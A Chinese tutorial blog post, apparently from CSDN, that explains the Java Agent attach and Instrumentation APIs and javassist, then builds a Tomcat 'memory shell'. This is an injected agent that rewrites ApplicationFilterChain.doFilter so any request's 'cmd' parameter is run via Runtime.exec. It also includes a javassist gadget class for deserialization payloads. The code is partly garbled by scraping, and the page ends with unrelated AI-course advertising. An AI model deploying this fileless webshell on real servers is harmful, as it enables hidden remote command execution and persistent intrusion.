2026/4/7 7:59:39
网站建设
项目流程
创网站多少钱,全国最大招商网,筑龙建筑资料网,购物商城名字大全视频教程在我主页简介或专栏里
#xff08;不懂都可以来问我 专栏找我哦#xff09;
目录#xff1a;
Java Agent 介绍
premain-Agent
agentmain-Agent
VirtualMachine 类
VirtualMachineDescriptor 类
Instrumentation
javassist
ClassPool
CtClass
CtMethod
…视频教程在我主页简介或专栏里不懂都可以来问我 专栏找我哦目录Java Agent 介绍premain-Agentagentmain-AgentVirtualMachine 类VirtualMachineDescriptor 类InstrumentationjavassistClassPoolCtClassCtMethodClassFileTransformer获取目标 JVM 已加载类Java Agent 内存马构造恶意AgentJava Agent 介绍Java Agent是一种特殊的 Java 程序它能够在运行时修改或监视其他 Java 程序的行为。Java Agent 通过使用Java Instrumentation API实现可以在 Java 应用程序的生命周期中动态地对字节码进行插桩Instrumentation或修改从而影响或增强应用程序的行为。Java Agent 主要用于字节码增强、监控、性能分析、调试等场景。Java Agent 有两种运行模式启动Java程序时添加 -javaagent (Instrumentation API实现方式) 或 -agentpath/-agentlib (JVMTI的实现方式) 参数如 java -javaagent:/data/XXX.jar LingXeTestJDK1.6新增了attach(附加方式)方式可以对运行中的Java进程附加Agent其实简单来说就是一种在 JVM 启动前加载的 premain-Agent另一种是 JVM 启动之后加载的 agentmain-Agent不过无论是哪种 agent 都需要将其打包为 jar 包才能使用同时还强制要求了所有的jar文件中必须包含 /META-INF/MANIFEST.MF 文件且该文件中必须定义好Premain-ClassAgent模式或Agent-ClassAgent模式配置。premain-Agentpremain 方法顾名思义会在我们运行 main 方法之前进行调用即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法我们首先来实现一个简单的 premain-Agent创建一个 Maven 项目编写一个简单的 premain-Agent创建的类需要实现 premain 方法import java.lang.instrument.Instrumentation;public class permain_agent {public static void premain(String args, Instrumentation inst) {System.out.println(“调用了premain-Agent”);}}接着创建 MANIFEST.MF 清单文件用以指定 premain-Agent 的启动类Manifest-Version: 1.0Premain-Class: permain_agent接着需要将其打包为 jar 包可以使用 assembly 插件来打包先添加 pom.xml 配置org.apache.maven.plugins maven-assembly-plugin 2.6 jar-with-dependencies src/main/resources/META-INF/MANIFEST.MF org.apache.maven.plugins maven-compiler-plugin 6 6然后运行 mvn:assembly 命令第二个就是我们需要的 permain_agent 的 jar 包。然后再创建一个目标类public class hello {public static void main(String[] args) {System.out.println(“Hello World!”);}}目标类的编译同样可以用上面方法修改 MANIFEST.MF 清单文件Manifest-Version: 1.0Main-Class: hello当然也可以直接用 idea 进行打包最后执行java -javaagent:agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar -jar agenttest.jar看到再 main 函数前调用了 permain 函数。agentmain-Agent相较于 premain-Agent 只能在 JVM 启动前加载agentmain-Agent 能够在 JVM 启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和 JVM 有关的两个类。VirtualMachine 类VirtualMachine 类是 Java 虚拟机工具接口Java Virtual Machine Tool Interface简称JVM TI的一部分属于 Java 平台的一种机制用于与正在运行的 JVM 进行交互、控制和分析。VirtualMachine 类本身并不是直接从 JVM 或 Java API 中可见的类而是一个在 JVM 调试工具如 jcmd、jconsole、jvisualvm或开发工具如某些代理和诊断工具中用于交互的接口该类允许我们通过给 attach 方法传入一个 JVM 的 PID来远程连接到该 JVM 上之后我们就可以对连接的 JVM 进行各种操作如注入 Agent。下面是该类的主要方法//允许我们传入一个JVM的PID然后远程连接到该JVM上VirtualMachine.attach()//向JVM注册一个代理程序agent在该agent的代理程序中会得到一个Instrumentation实例该实例可以 在class加载前改变class的字节码也可以在class加载后重新加载。在调用Instrumentation实例的方法时这些方法会使用ClassFileTransformer接口中提供的方法进行处理VirtualMachine.loadAgent()//获得当前所有的JVM列表VirtualMachine.list()//解除与特定JVM的连接VirtualMachine.detach()VirtualMachineDescriptor 类VirtualMachineDescriptor 是 Java 中用于表示正在运行的 Java 虚拟机JVM实例的类。它属于 com.sun.tools.attach 包的一部分通常与 VirtualMachine 类一起使用。VirtualMachineDescriptor 类提供了有关虚拟机的信息比如进程 ID (PID)、JVM 的启动类名、是否为附加到的 JVM 等。demoimport com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import java.util.List;public class test {public static void main(String[] args) {//调用VirtualMachine.list()获取正在运行的JVM列表 ListVirtualMachineDescriptor list VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list){ if(vmd.displayName().equals(test)) System.out.println(vmd.id()); } }}运行结果得到进程 id下面我们就来实现一个 agentmain-Agent。首先我们编写一个 hello 类模拟正在运行的 JVMimport static java.lang.Thread.sleep;public class hello {public static void main(String[] args) throws InterruptedException {while (true){System.out.println(“Hello World!”);sleep(5000);}}}然后编写我们的 agentmain 类import java.lang.instrument.Instrumentation;import static java.lang.Thread.sleep;public class agentmain {public static void agentmain(String args, Instrumentation inst) throws InterruptedException {while (true){System.out.println(“调用了agentmain-Agent!”);sleep(3000);}}}配置 MANIFEST.MF 清单文件Manifest-Version: 1.0Agent-Class: agentmain然后打包为 jar 包同样用上面的方法进行打包最后准备一个注入 Inject 类将我们的 agent-main 注入目标 JVMimport com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class inject{public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {List list VirtualMachine.list();for(VirtualMachineDescriptor vmd : list){if(vmd.displayName().equals(“hello”)){//连接指定JVMVirtualMachine virtualMachine VirtualMachine.attach(vmd.id());//加载AgentvirtualMachine.loadAgent(“D:\\JavaLearn\\Agent\\agenttest\\target\\agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar”);//断开JVM连接virtualMachine.detach();}} }}运行结果看到注入成功InstrumentationInstrumentation字节码插桩是指在 Java 程序运行时通过动态修改类的字节码来改变程序的行为。Java 提供了一个名为Instrumentation API的工具允许开发者对类进行动态修改或监控。通过Instrumentation API开发者可以在应用程序运行时插入代码、修改类的字节码、重新定义类的行为甚至动态加载新的类。我们可以利用Instrumentation实现如下功能1. 动态添加或移除自定义的ClassFileTransformeraddTransformer/removeTransformerJVM会在类加载时调用Agent中注册的ClassFileTransformer2. 动态修改classpathappendToBootstrapClassLoaderSearch、appendToSystemClassLoaderSearch将Agent程序添加到BootstrapClassLoader和SystemClassLoaderSearch对应的是ClassLoader类的getSystemClassLoader方法默认是sun.misc.Launcher$AppClassLoader中搜索3. 动态获取所有JVM已加载的类(getAllLoadedClasses)4. 动态获取某个类加载器已实例化的所有类(getInitiatedClasses)。5. 重定义某个已加载的类的字节码(redefineClasses)。6. 动态设置JNI前缀(setNativeMethodPrefix)可以实现Hook native方法。7. 重新加载某个已经被JVM加载过的类字节码(retransformClasses)。而说到修改字节码又不得不说 javassist 了这里简单介绍一下 javassist。javassistJavassistJava Programming Assistant是一个开源的 Java 字节码编辑库。它使得开发者能够在运行时或编译时修改 Java 字节码主要用于动态生成、修改和操控 Java 类。Javassist 通过字节码操作来实现比传统的反射机制更高效、更灵活的动态类加载和操作。ClassPoolClassPool 是 CtClass 对象的容器。CtClass 对象必须从该对象获得。如果 get() 在此对象上调用则它将搜索表示的各种源 ClassPath 以查找类文件然后创建一个 CtClass 表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放 CtClass 对象的容器。CtClass可以将其理解成加强版的Class对象我们可以通过CtClass对目标类进行各种操作。可以 ClassPool.get(ClassName) 中获取。CtMethod同理可以理解成加强版的 Method 对象。可通过 CtClass.getDeclaredMethod(MethodName) 获取该类提供了一些方法以便我们能够直接修改方法体在 CC2 中就使用了 javassist 来神生成恶意类而且在反序列化时使用 javassist 来生成恶意类可以减少字符串长度。demoString AbstractTranslet“com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet”;ClassPool classPoolClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payloadclassPool.makeClass(“shell”);//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的shell类的父类为AbstractTransletpayload.makeClassInitializer().setBody(“java.lang.Runtime.getRuntime().exec(\“calc\”);”);byte[] code payload.toBytecode();由于是直接神成的 class 字节码不用编译所以可以不用实现父类 AbstractTranslet 的 transform 方法。ClassFileTransformerjava.lang.instrument.ClassFileTransformer是一个转换类文件的代理接口。我们可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器。package java.lang.instrument;public interface ClassFileTransformer {/*** 类文件转换方法重写transform方法可获取到待加载的类相关信息** param loader 定义要转换的类加载器如果是引导加载器则为 null* param className 类名,如:java/lang/Runtime* param classBeingRedefined 如果是被重定义或重转换触发则为重定义或重转换的类如果是类加载则为 null* param protectionDomain 要定义或重定义的类的保护域* param classfileBuffer 类文件格式的输入字节缓冲区不得修改* return 字节码byte数组。*/byte[] transform(ClassLoader loader, String className, Class? classBeingRedefined,ProtectionDomain protectionDomain, byte[] classfileBuffer);}重写 transform() 方法需要注意以下事项1. ClassLoader 如果是被 Bootstrap ClassLoader (引导类加载器)所加载那么 loader 参数的值是空。2. 修改类字节码时需要特别注意插入的代码在对应的 ClassLoader 中可以正确的获取到否则会报 ClassNotFoundException 比如修改 java.io.FileInputStream (该类由 Bootstrap ClassLoader 加载)时插入了我们检测代码那么我们将必须保证 FileInputStream 能够获取到我们的检测代码类。3. JVM类名的书写方式路径方式java/lang/String 而不是我们常用的类名方式java.lang.String。4. 类字节必须符合 JVM 校验要求如果无法验证类字节码会导致 JVM 崩溃或者 VerifyError (类验证错误)。5. 如果修改的是 retransform 类(修改已被 JVM 加载的类)修改后的类字节码不得新增方法、修改方法参数、类成员变量。6. addTransformer 时如果没有传入 retransform 参数(默认是 false )就算 MANIFEST.MF 中配置了 Can-Redefine-Classes: true 而且手动调用了retransformClasses()方法也一样无法retransform。7. 卸载 transform 时需要使用创建时的 Instrumentation 实例。还需要理解的是在以下三种情形下 ClassFileTransformer.transform() 会被执行1. 新的 class 被加载。2. Instrumentation.redefineClasses 显式调用。3. addTransformer 第二个参数为 true 时Instrumentation.retransformClasses 显式调用。获取目标 JVM 已加载类下面我们简单实现一个能够获取目标 JVM 已加载类的 agentmain-AgentMain 方法public class hello {public static void main(String[] args) throws InterruptedException {while(true) {hello();sleep(3000);}}public static void hello(){System.out.println(“Hello World!”);}}Agent 主类public class agentmain_transform {public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {Class [] classes inst.getAllLoadedClasses();//获取目标JVM加载的全部类 for(Class cls : classes){ if (cls.getName().equals(hello)){ inst.addTransformer(new Hello\_Transform(),true); inst.retransformClasses(cls); } } }}Transformer 修改类public class Hello_Transform implements ClassFileTransformer {Override public byte\[\] transform(ClassLoader loader, String className, Class? classBeingRedefined, ProtectionDomain protectionDomain, byte\[\] classfileBuffer){ try { //获取CtClass 对象的容器 ClassPool ClassPool classPool ClassPool.getDefault(); //添加额外的类搜索路径 if (classBeingRedefined ! null) { ClassClassPath ccp new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } //获取目标类 CtClass ctClass classPool.get(hello); System.out.println(ctClass); //获取目标方法 CtMethod ctMethod ctClass.getDeclaredMethod(hello); //设置方法体 String body {System.out.println(\\Hacker!\\);}; ctMethod.setBody(body); //返回目标类字节码 byte\[\] bytes ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null; }}接着同样打包为 jar 包修改 MAINFEST.MF 文件Manifest-Version: 1.0Agent-Class: agentmainCan-Redefine-Classes: trueCan-Retransform-Classes: trueCan-Redefine-Classes: true这个选项表示代理是否能够重新定义现有的类。具体来说这意味着代理可以通过Instrumentation API 来替换已经加载的类的字节码。Can-Retransform-Classes: true这个选项表示代理是否能够重新转化现有的类。重新转化是指代理能够使用Instrumentation API 来再次转换或修改已经加载的类的字节码而不需要重新定义该类。然后同样写个 inject 类import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class inject {public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {//调用VirtualMachine.list()获取正在运行的JVM列表List list VirtualMachine.list();for(VirtualMachineDescriptor vmd : list){System.out.println(vmd.displayName());//遍历每一个正在运行的JVM如果JVM名称为hello则连接该JVM并加载特定Agentif(vmd.displayName().equals(“hello”)){//连接指定JVM VirtualMachine virtualMachine VirtualMachine.attach(vmd.id()); //加载Agent virtualMachine.loadAgent(D:\\\\JavaLearn\\\\Agent\\\\agenttest\\\\target\\\\agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar); //断开JVM连接 virtualMachine.detach(); } } }}运行结果看到执行注入后开始输出 hacker。Java Agent 内存马通过上文对Java agent的了解我们需要将特定类的特定方法中添加恶意代码那么寻找这个关键的类就是我们面临的第一个问题。在我们访问资源的时候会调用过滤器链中的过滤器当用户的请求到达Servlet之前一定会首先经过过滤器。它们都是在ApplicationFilterChain类里它的dofilter方法封装了我们用户请求的 request 和 response用此方法作为内存马的入口可以完全控制请求和响应构造恶意Agent们需要修改 ApplicationFilterChain 的 doFilter 方法修改字节码的关键在于 transformer() 方法因此我们重写该方法即可public class Filter_Transform implements ClassFileTransformer {Overridepublic byte[] transform(ClassLoader loader, String className, Class? classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {try {//获取CtClass 对象的容器 ClassPool ClassPool classPool ClassPool.getDefault(); //添加额外的类搜索路径 if (classBeingRedefined ! null) { ClassClassPath ccp new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } //获取目标类 CtClass ctClass classPool.get(org.apache.catalina.core.ApplicationFilterChain); //获取目标方法 CtMethod ctMethod ctClass.getDeclaredMethod(doFilter); //设置方法体 String body { javax.servlet.http.HttpServletRequest request $1\\n; String cmdrequest.getParameter(\\cmd\\);\\n if (cmd !null){\\n Runtime.getRuntime().exec(cmd);\\n } }; ctMethod.setBody(body); //返回目标类字节码 byte\[\] bytes ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null; }}再准备 MAINFEST.MF 配置以及 agent 主类代码如下public class agentmain_transform {public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {Class [] classes inst.getAllLoadedClasses();//获取目标JVM加载的全部类 for(Class cls : classes){ if (cls.getName().equals(org.apache.catalina.core.ApplicationFilterChain)){ //添加一个transformer到Instrumentation并重新触发目标类加载 inst.addTransformer(new Filter\_Transform(),true); inst.retransformClasses(cls); } } }}MAINFEST.MFManifest-Version: 1.0Agent-Class: agentmain_transformCan-Redefine-Classes: trueCan-Retransform-Classes: true然后打包为 jar 包最后准备 inject 类import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class inject {public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {//调用VirtualMachine.list()获取正在运行的JVM列表List list VirtualMachine.list();for(VirtualMachineDescriptor vmd : list){System.out.println(vmd.displayName());//遍历每一个正在运行的JVM如果JVM名称为SpringshellApplication则连接该JVM并加载特定Agentif(vmd.displayName().contains(“SpringshellApplication”)){//连接指定JVM VirtualMachine virtualMachine VirtualMachine.attach(vmd.id()); //加载Agent virtualMachine.loadAgent(D:\\\\JavaLearn\\\\Agent\\\\agenttest\\\\target\\\\agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar); //断开JVM连接 virtualMachine.detach(); } } }}成功弹出计算机Java开发的就业市场正在经历结构性调整竞争日益激烈传统纯业务开发岗位如仅完成增删改查业务的后端工程师的需求特别是入门级岗位正显著萎缩。随着企业技术需求升级市场对Java人才的要求已从通用技能转向了更深入的领域经验如云原生、微服务或前沿的AI集成能力。这也导致岗位竞争加剧在一、二线城市求职者不仅面临技术内卷还需应对学历与项目经验的高门槛。大模型为核心的AI领域正展现出前所未有的就业热度与人才红利2025年AI相关新发岗位数量同比激增543%单月增幅最高超过11倍大模型算法工程师位居热门岗位前列。行业顶尖人才的供需严重失衡议价能力极强跳槽薪资涨幅可达30%-50%。值得注意的是市场并非单纯青睐算法研究员而是急需能将大模型能力落地于复杂业务系统的工程人才。这使得具备企业级架构思维和复杂系统整合经验的Java工程师在向“Java大模型”复合人才转型时拥有独特优势成为企业竞相争夺的对象其薪资天花板也远高于传统Java岗位。说真的这两年看着身边一个个搞Java、C、前端、数据、架构的开始卷大模型挺唏嘘的。大家最开始都是写接口、搞Spring Boot、连数据库、配Redis稳稳当当过日子。结果GPT、DeepSeek火了之后整条线上的人都开始有点慌了大家都在想“我是不是要学大模型不然这饭碗还能保多久”先给出最直接的答案一定要把现有的技术和大模型结合起来而不是抛弃你们现有技术掌握AI能力的Java工程师比纯Java岗要吃香的多。即使现在裁员、降薪、团队解散的比比皆是……但后续的趋势一定是AI应用落地大模型方向才是实现职业升级、提升薪资待遇的绝佳机遇如何学习AGI大模型作为一名热心肠的互联网老兵我决定把宝贵的AI知识分享给大家。 至于能学习到多少就看你的学习毅力和能力了 。我已将重要的AI大模型资料包括AI大模型入门学习思维导图、精品AI大模型学习书籍手册、视频教程、实战学习等录播视频免费分享出来。因篇幅有限仅展示部分资料需要点击下方链接即可前往获取2025最新版CSDN大礼包《AGI大模型学习资源包》免费分享**一、2025最新大模型学习路线一个明确的学习路线可以帮助新人了解从哪里开始按照什么顺序学习以及需要掌握哪些知识点。大模型领域涉及的知识点非常广泛没有明确的学习路线可能会导致新人感到迷茫不知道应该专注于哪些内容。我们把学习路线分成L1到L4四个阶段一步步带你从入门到进阶从理论到实战。L1级别:AI大模型时代的华丽登场L1阶段我们会去了解大模型的基础知识以及大模型在各个行业的应用和分析学习理解大模型的核心原理关键技术以及大模型应用场景通过理论原理结合多个项目实战从提示工程基础到提示工程进阶掌握Prompt提示工程。L2级别AI大模型RAG应用开发工程L2阶段是我们的AI大模型RAG应用开发工程我们会去学习RAG检索增强生成包括Naive RAG、Advanced-RAG以及RAG性能评估还有GraphRAG在内的多个RAG热门项目的分析。L3级别大模型Agent应用架构进阶实践L3阶段大模型Agent应用架构进阶实现我们会去学习LangChain、 LIamaIndex框架也会学习到AutoGPT、 MetaGPT等多Agent系统打造我们自己的Agent智能体同时还可以学习到包括Coze、Dify在内的可视化工具的使用。L4级别大模型微调与私有化部署L4阶段大模型的微调和私有化部署我们会更加深入的探讨Transformer架构学习大模型的微调技术利用DeepSpeed、Lamam Factory等工具快速进行模型微调并通过Ollama、vLLM等推理部署框架实现模型的快速部署。整个大模型学习路线L1主要是对大模型的理论基础、生态以及提示词他的一个学习掌握而L3 L4更多的是通过项目实战来掌握大模型的应用开发针对以上大模型的学习路线我们也整理了对应的学习视频教程和配套的学习资料。二、大模型经典PDF书籍书籍和学习文档资料是学习大模型过程中必不可少的我们精选了一系列深入探讨大模型技术的书籍和学习文档它们由领域内的顶尖专家撰写内容全面、深入、详尽为你学习大模型提供坚实的理论基础。书籍含电子版PDF三、大模型视频教程对于很多自学或者没有基础的同学来说书籍这些纯文字类的学习教材会觉得比较晦涩难以理解因此我们提供了丰富的大模型视频教程以动态、形象的方式展示技术概念帮助你更快、更轻松地掌握核心知识。四、大模型项目实战学以致用当你的理论知识积累到一定程度就需要通过项目实战在实际操作中检验和巩固你所学到的知识同时为你找工作和职业发展打下坚实的基础。五、大模型面试题面试不仅是技术的较量更需要充分的准备。在你已经掌握了大模型技术之后就需要开始准备面试我们将提供精心整理的大模型面试题库涵盖当前面试中可能遇到的各种技术问题让你在面试中游刃有余。因篇幅有限仅展示部分资料需要点击下方链接即可前往获取2025最新版CSDN大礼包《AGI大模型学习资源包》免费分享